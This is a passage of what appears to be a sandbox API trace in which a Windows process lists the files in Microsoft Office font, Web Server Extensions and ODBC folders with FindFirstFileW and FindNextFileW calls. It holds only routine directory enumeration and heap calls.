dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.213] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0233.213] GetProcessHeap () returned 0xc10000 [0233.213] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x531047b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x531047b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f6e784, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0233.436] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0233.437] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0233.437] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0233.437] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0233.437] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0233.437] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0233.438] GetProcessHeap () returned 0xc10000 [0233.438] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.438] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0233.438] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0233.438] GetProcessHeap () returned 0xc10000 [0233.438] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.438] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0233.439] GetProcessHeap () returned 0xc10000 [0233.439] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0233.439] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.439] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0233.439] GetProcessHeap () returned 0xc10000 [0233.439] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0233.440] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.440] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0233.440] GetProcessHeap () returned 0xc10000 [0233.440] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0233.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0233.441] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.441] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0233.441] GetProcessHeap () returned 0xc10000 [0233.441] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0233.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.442] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.442] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0233.442] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0233.442] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0233.442] GetProcessHeap () returned 0xc10000 [0233.442] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0233.444] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0233.444] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0233.445] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0233.446] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0233.448] GetProcessHeap () returned 0xc10000 [0233.448] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0233.448] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0233.448] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0233.448] GetProcessHeap () returned 0xc10000 [0233.448] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.450] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0233.450] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0233.450] GetProcessHeap () returned 0xc10000 [0233.450] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.450] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0233.451] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0233.451] GetProcessHeap () returned 0xc10000 [0233.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.452] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC", cAlternateFileName="")) returned 1 [0233.452] GetProcessHeap () returned 0xc10000 [0233.452] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0233.458] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.458] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 1 [0233.458] GetProcessHeap () returned 0xc10000 [0233.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0233.459] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 